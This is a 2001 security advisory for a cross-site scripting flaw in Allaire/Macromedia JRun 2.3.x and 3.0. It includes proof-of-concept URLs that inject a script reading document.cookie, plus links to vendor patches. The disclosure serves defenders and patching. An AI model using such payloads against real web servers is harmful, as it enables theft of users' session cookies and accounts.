Allaire JRun Cross-Site Scripting Vulnerability
BID:2983
Info
Allaire JRun Cross-Site Scripting Vulnerability
| Bugtraq ID: | 2983 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 02 2001 12:00AM |
| Updated: | Jul 02 2001 12:00AM |
| Credit: | Discovered and posted to Bugtraq by TAKAGI, Hiromitsu <[email protected]> on July 2, 2001. |
| Vulnerable: |
Macromedia JRun 3.0 Macromedia JRun 2.3 .x |
| Not Vulnerable: | |
Exploit / POC
Allaire JRun Cross-Site Scripting Vulnerability
TAKAGI, Hiromitsu provided the following example in his BugTraq posting:
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.shtml
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.thtml
TAKAGI, Hiromitsu provided the following example in his BugTraq posting:
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.shtml
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.jsp
http://JRun/<SCRIPT>alert(document.cookie)</SCRIPT>.thtml
Solution / Fix
Allaire JRun Cross-Site Scripting Vulnerability
Solution:
Allaire has released patches which rectify this issue:
Macromedia JRun 2.3 .x
Macromedia JRun 3.0
Solution:
Allaire has released patches which rectify this issue:
Macromedia JRun 2.3 .x
-
Allaire jp23159u_MPSB_03_04_05_06
Unix
http://download1.allaire.com/publicdl/en/jrun/23/jp23159u_MPSB_03_04_0 5_06.tar.gz -
Allaire jp23159w_MPSB_03_04_05_06
Windows
http://download1.allaire.com/publicdl/en/jrun/23/jp23159w_MPSB_03_04_0 5_06.exe
Macromedia JRun 3.0
-
Allaire jp23159u_MPSB_03_04_05_06
Unix
http://download1.allaire.com/publicdl/en/jrun/23/jp23159u_MPSB_03_04_0 5_06.tar.gz -
Allaire jr30sp2_MPSB_03_04_05_06
Windows
http://download1.allaire.com/publicdl/en/jrun/30/jr30sp2_MPSB_03_04_05 _06.exe -
Allaire jr30sp2u_MPSB_03_04_05_06
Unix
http://download1.allaire.com/publicdl/en/jrun/30/jr30sp2u_MPSB_03_04_0 5_06.sh